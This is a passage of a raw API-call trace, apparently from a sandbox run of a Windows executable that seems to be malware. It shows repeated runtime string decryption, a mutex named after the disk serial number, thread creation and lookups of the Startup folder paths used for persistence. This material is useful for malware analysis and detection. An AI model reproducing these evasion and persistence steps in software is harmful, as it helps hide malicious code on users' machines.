ReturnLength=0x20fa14 | out: TokenInformation=0x20fa10, ReturnLength=0x20fa14) returned 1 [0031.947] CloseHandle (hObject=0x80) returned 1 [0031.947] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c14a0 [0031.947] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f90c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f974 | out: phKey=0x20f974*=0x2e4d00) returned 1 [0031.947] CryptSetKeyParam (hKey=0x2e4d00, dwParam=0x1, pbData=0x20f95c, dwFlags=0x0) returned 1 [0031.947] CryptDecrypt (in: hKey=0x2e4d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14a0, pdwDataLen=0x20f928 | out: pbData=0x7c14a0, pdwDataLen=0x20f928) returned 1 [0031.947] CryptDestroyKey (hKey=0x2e4d00) returned 1 [0031.947] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c14c8 [0031.947] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c14f0 [0031.947] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c1518 [0031.947] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f8e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f94c | out: phKey=0x20f94c*=0x2e4d00) returned 1 [0031.947] CryptSetKeyParam (hKey=0x2e4d00, dwParam=0x1, pbData=0x20f934, dwFlags=0x0) returned 1 [0031.947] CryptDecrypt (in: hKey=0x2e4d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1518, pdwDataLen=0x20f900 | out: pbData=0x7c1518, pdwDataLen=0x20f900) returned 1 [0031.947] CryptDestroyKey (hKey=0x2e4d00) returned 1 [0031.947] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1518 | out: hHeap=0x7c0000) returned 1 [0031.947] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.947] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14f0 | out: hHeap=0x7c0000) returned 1 [0031.947] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14a0 | out: hHeap=0x7c0000) returned 1 [0031.947] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20f9b4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20f9b4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.947] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14c8 | out: hHeap=0x7c0000) returned 1 [0031.947] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c14a0 [0031.947] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f940, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9a8 | out: phKey=0x20f9a8*=0x2e4d00) returned 1 [0031.948] CryptSetKeyParam (hKey=0x2e4d00, dwParam=0x1, pbData=0x20f990, dwFlags=0x0) returned 1 [0031.948] CryptDecrypt (in: hKey=0x2e4d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14a0, pdwDataLen=0x20f95c | out: pbData=0x7c14a0, pdwDataLen=0x20f95c) returned 1 [0031.948] CryptDestroyKey (hKey=0x2e4d00) returned 1 [0031.948] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c14e8 [0031.948] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x84 [0031.948] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x102 [0031.948] CloseHandle (hObject=0x84) returned 1 [0031.948] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14a0 | out: hHeap=0x7c0000) returned 1 [0031.948] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14e8 | out: hHeap=0x7c0000) returned 1 [0031.948] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c14a0 [0031.948] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f920, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f988 | out: phKey=0x20f988*=0x2e4d00) returned 1 [0031.948] CryptSetKeyParam (hKey=0x2e4d00, dwParam=0x1, pbData=0x20f970, dwFlags=0x0) returned 1 [0031.948] CryptDecrypt (in: hKey=0x2e4d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14a0, pdwDataLen=0x20f93c | out: pbData=0x7c14a0, pdwDataLen=0x20f93c) returned 1 [0031.948] CryptDestroyKey (hKey=0x2e4d00) returned 1 [0031.948] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c14c8 [0031.948] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c14f0 [0031.948] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c1518 [0031.948] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f8f8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f960 | out: phKey=0x20f960*=0x2e4d00) returned 1 [0031.948] CryptSetKeyParam (hKey=0x2e4d00, dwParam=0x1, pbData=0x20f948, dwFlags=0x0) returned 1 [0031.948] CryptDecrypt (in: hKey=0x2e4d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1518, pdwDataLen=0x20f914 | out: pbData=0x7c1518, pdwDataLen=0x20f914) returned 1 [0031.948] CryptDestroyKey (hKey=0x2e4d00) returned 1 [0031.948] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1518 | out: hHeap=0x7c0000) returned 1 [0031.948] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0031.948] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14f0 | out: hHeap=0x7c0000) returned 1 [0031.948] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14a0 | out: hHeap=0x7c0000) returned 1 [0031.948] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20f9c8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20f9c8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.949] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14c8 | out: hHeap=0x7c0000) returned 1 [0031.949] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c14a0 [0031.949] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f954, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9bc | out: phKey=0x20f9bc*=0x2e4d00) returned 1 [0031.949] CryptSetKeyParam (hKey=0x2e4d00, dwParam=0x1, pbData=0x20f9a4, dwFlags=0x0) returned 1 [0031.949] CryptDecrypt (in: hKey=0x2e4d00, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14a0, pdwDataLen=0x20f970 | out: pbData=0x7c14a0, pdwDataLen=0x20f970) returned 1 [0031.949] CryptDestroyKey (hKey=0x2e4d00) returned 1 [0031.949] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c14e8 [0031.949] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x0 [0031.949] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4200") returned 0x84 [0031.949] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0031.949] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14a0 | out: hHeap=0x7c0000) returned 1 [0031.949] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14e8 | out: hHeap=0x7c0000) returned 1 [0031.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x12a2019, lpParameter=0x20fa90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8c [0031.950] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x60) returned 0x7c14a0 [0031.950] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f964, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9cc | out: phKey=0x20f9cc*=0x2e7210) returned 1 [0031.950] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f9b4, dwFlags=0x0) returned 1 [0031.950] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14a0, pdwDataLen=0x20f980 | out: pbData=0x7c14a0, pdwDataLen=0x20f980) returned 1 [0031.950] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.950] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c1508 [0031.950] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f93c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9a4 | out: phKey=0x20f9a4*=0x2e7210) returned 1 [0031.950] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f98c, dwFlags=0x0) returned 1 [0031.950] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1508, pdwDataLen=0x20f958 | out: pbData=0x7c1508, pdwDataLen=0x20f958) returned 1 [0031.950] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.950] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c1530 [0031.950] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c1558 [0031.950] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c1580 [0031.950] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f914, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f97c | out: phKey=0x20f97c*=0x2e7210) returned 1 [0031.950] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f964, dwFlags=0x0) returned 1 [0031.950] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1580, pdwDataLen=0x20f930 | out: pbData=0x7c1580, pdwDataLen=0x20f930) returned 1 [0031.951] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.951] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1580 | out: hHeap=0x7c0000) returned 1 [0031.951] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x7c1530, nSize=0xf | out: lpDst="") returned 0x2c [0031.951] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1558 | out: hHeap=0x7c0000) returned 1 [0031.951] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c1530, Size=0x3a) returned 0x7c1530 [0031.951] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x3a) returned 0x7c1578 [0031.951] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c15c0 [0031.951] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f910, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f978 | out: phKey=0x20f978*=0x2e7210) returned 1 [0031.951] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f960, dwFlags=0x0) returned 1 [0031.951] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c15c0, pdwDataLen=0x20f92c | out: pbData=0x7c15c0, pdwDataLen=0x20f92c) returned 1 [0031.951] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.951] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c15c0 | out: hHeap=0x7c0000) returned 1 [0031.951] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x7c1530, nSize=0x1d | out: lpDst="") returned 0x2c [0031.951] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1578 | out: hHeap=0x7c0000) returned 1 [0031.951] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c1530, Size=0x72) returned 0x7c1530 [0031.951] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x72) returned 0x7c15b0 [0031.951] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c1630 [0031.951] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f910, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f978 | out: phKey=0x20f978*=0x2e7210) returned 1 [0031.951] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f960, dwFlags=0x0) returned 1 [0031.951] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1630, pdwDataLen=0x20f92c | out: pbData=0x7c1630, pdwDataLen=0x20f92c) returned 1 [0031.951] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.951] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1630 | out: hHeap=0x7c0000) returned 1 [0031.951] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x7c1530, nSize=0x39 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x2c [0031.951] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c15b0 | out: hHeap=0x7c0000) returned 1 [0031.951] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1508 | out: hHeap=0x7c0000) returned 1 [0031.951] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c15b0 [0031.951] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f938, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f9a0 | out: phKey=0x20f9a0*=0x2e7210) returned 1 [0031.951] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f988, dwFlags=0x0) returned 1 [0031.951] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c15b0, pdwDataLen=0x20f954 | out: pbData=0x7c15b0, pdwDataLen=0x20f954) returned 1 [0031.951] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.951] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x3e) returned 0x7c15f8 [0031.951] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x3e) returned 0x7c1640 [0031.951] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c1688 [0031.951] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f910, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f978 | out: phKey=0x20f978*=0x2e7210) returned 1 [0031.952] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f960, dwFlags=0x0) returned 1 [0031.952] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1688, pdwDataLen=0x20f92c | out: pbData=0x7c1688, pdwDataLen=0x20f92c) returned 1 [0031.952] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.952] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x10) returned 0x7c1508 [0031.952] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x20f8f4 | out: phkResult=0x20f8f4*=0x94) returned 0x0 [0031.952] RegQueryValueExW (in: hKey=0x94, lpValueName="Startup", lpReserved=0x0, lpType=0x20f8f0, lpData=0x7c1640, lpcbData=0x20f8f8*=0x3e | out: lpType=0x20f8f0*=0x2, lpData=0x7c1640*=0x8, lpcbData=0x20f8f8*=0x98) returned 0xea [0031.952] RegCloseKey (hKey=0x94) returned 0x0 [0031.952] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1508 | out: hHeap=0x7c0000) returned 1 [0031.952] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1688 | out: hHeap=0x7c0000) returned 1 [0031.952] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1640 | out: hHeap=0x7c0000) returned 1 [0031.952] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c15f8, Size=0x7a) returned 0x7c15f8 [0031.952] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x7a) returned 0x7c1680 [0031.952] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c5508 [0031.952] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f90c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f974 | out: phKey=0x20f974*=0x2e7210) returned 1 [0031.952] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f95c, dwFlags=0x0) returned 1 [0031.952] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c5508, pdwDataLen=0x20f928 | out: pbData=0x7c5508, pdwDataLen=0x20f928) returned 1 [0031.952] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.952] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x10) returned 0x7c1508 [0031.952] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x20f8f0 | out: phkResult=0x20f8f0*=0x94) returned 0x0 [0031.952] RegQueryValueExW (in: hKey=0x94, lpValueName="Startup", lpReserved=0x0, lpType=0x20f8ec, lpData=0x7c1680, lpcbData=0x20f8f4*=0x7a | out: lpType=0x20f8ec*=0x2, lpData=0x7c1680*=0x8, lpcbData=0x20f8f4*=0x98) returned 0xea [0031.952] RegCloseKey (hKey=0x94) returned 0x0 [0031.953] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1508 | out: hHeap=0x7c0000) returned 1 [0031.953] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5508 | out: hHeap=0x7c0000) returned 1 [0031.953] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1680 | out: hHeap=0x7c0000) returned 1 [0031.953] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c15f8, Size=0xf2) returned 0x7c15f8 [0031.953] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0xf2) returned 0x7c5508 [0031.953] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c5608 [0031.953] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f90c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f974 | out: phKey=0x20f974*=0x2e7210) returned 1 [0031.953] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f95c, dwFlags=0x0) returned 1 [0031.953] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c5608, pdwDataLen=0x20f928 | out: pbData=0x7c5608, pdwDataLen=0x20f928) returned 1 [0031.953] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.953] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x10) returned 0x7c1508 [0031.953] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x20f8f0 | out: phkResult=0x20f8f0*=0x94) returned 0x0 [0031.953] RegQueryValueExW (in: hKey=0x94, lpValueName="Startup", lpReserved=0x0, lpType=0x20f8ec, lpData=0x7c5508, lpcbData=0x20f8f4*=0xf2 | out: lpType=0x20f8ec*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x20f8f4*=0x98) returned 0x0 [0031.953] RegCloseKey (hKey=0x94) returned 0x0 [0031.953] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1508 | out: hHeap=0x7c0000) returned 1 [0031.953] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c1508 [0031.953] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x20f8f0 | out: phkResult=0x20f8f0*=0x94) returned 0x0 [0031.953] RegQueryValueExW (in: hKey=0x94, lpValueName="Common Startup", lpReserved=0x0, lpType=0x20f8ec, lpData=0x7c55a0, lpcbData=0x20f8f4*=0x5a | out: lpType=0x20f8ec*=0x0, lpData=0x7c55a0*=0xc4, lpcbData=0x20f8f4*=0x5a) returned 0x2 [0031.953] RegCloseKey (hKey=0x94) returned 0x0 [0031.953] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x20f904 | out: phkResult=0x20f904*=0x94) returned 0x0 [0031.953] RegQueryValueExW (in: hKey=0x94, lpValueName="Common Startup", lpReserved=0x0, lpType=0x20f900, lpData=0x7c55a0, lpcbData=0x20f908*=0x5a | out: lpType=0x20f900*=0x2, lpData=0x7c55a0*=0xc4, lpcbData=0x20f908*=0x78) returned 0xea [0031.954] RegCloseKey (hKey=0x94) returned 0x0 [0031.954] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1508 | out: hHeap=0x7c0000) returned 1 [0031.954] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5608 | out: hHeap=0x7c0000) returned 1 [0031.954] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5508 | out: hHeap=0x7c0000) returned 1 [0031.954] RtlReAllocateHeap (Heap=0x7c0000, Flags=0x0, Ptr=0x7c15f8, Size=0x1e2) returned 0x7c5508 [0031.954] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e2) returned 0x7c56f8 [0031.954] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c15f8 [0031.954] CryptImportKey (in: hProv=0x2e5138, pbData=0x20f90c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20f974 | out: phKey=0x20f974*=0x2e7210) returned 1 [0031.954] CryptSetKeyParam (hKey=0x2e7210, dwParam=0x1, pbData=0x20f95c, dwFlags=0x0) returned 1 [0031.954] CryptDecrypt (in: hKey=0x2e7210, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c15f8, pdwDataLen=0x20f928 | out: pbData=0x7c15f8, pdwDataLen=0x20f928) returned 1 [0031.954] CryptDestroyKey (hKey=0x2e7210) returned 1 [0031.954] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x10) returned 0x7c1508 [0031.954] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x20f8f0 | out: phkResult=0x20f8f0*=0x94) returned 0x0 [0031.954] RegQueryValueExW (in: hKey=0x94, lpValueName="Startup", lpReserved=0x0, lpType=0x20f8ec, lpData=0x7c56f8, lpcbData=0x20f8f4*=0x1e2 | out: lpType=0x20f8ec*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x20f8f4*=0x98) returned 0x0 [0031.954] RegCloseKey (hKey=0x94) returned 0x0 [0031.954] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1508 | out: hHeap=0x7c0000) returned 1 [0031.954] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c1508 [0031.954] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x20f8f0 | out: phkResult=0x20f8f0*=0x94) returned 0x0 [0031.954] RegQueryValueExW (in: hKey=0x94, lpValueName="Common Startup", lpReserved=0x0, lpType=0x20f8ec, lpData=0x7c5790, lpcbData=0x20f8f4*=0x14a | out: lpType=0x20f8ec*=0x0, lpData=0x7c5790*=0x0, lpcbData=0x20f8f4*=0x14a) returned 0x2 [0031.954] RegCloseKey (hKey=0x94) returned 0x0 [0031.954] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x20f904 | out: phkResult=0x20f904*=0x94) returned 0x0 [0031.954] RegQueryValueExW (in: hKey=0x94, lpValueName="Common Startup", lpReserved=0x0, lpType=0x20f900, lpData=0x7c5790, lpcbData=0x20f908*=0x14a | out: lpType=0x20f900*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x20f908*=0x78) returned 0x0 [0031.955] RegCloseKey (hKey=0x94) returned 0x0 [0031.955] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1508 | out: hHeap=0x7c0000) returned 1 [0031.955] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c15f8 | out: hHeap=0x7c0000) returned 1 [0031.955] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpDst=0x7c5508, nSize=0xf1 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup;C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 0x99 [0031.955] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c56f8 | out: hHeap=0x7c0000) returned 1 [0031.955] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c15b0 | out: hHeap=0x7c0000) returned 1 [0031.955] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20a) returned 0x7c56f8 [0031.955] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20a) returned 0x7c5910 [0031.955] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20a) returned 0x7c5b28 [0031.955] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20a) returned 0x7c5d40 [0031.955] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7c56f8, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0031.955] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20a) returned 0x7c5f58 [0031.955] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7c5f58, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0x6a [0031.955] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c5f58 | out: hHeap=0x7c0000) returned 1 [0031.955] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20a) returned 0x7c5f58 [0031.955] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7c5f58, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS 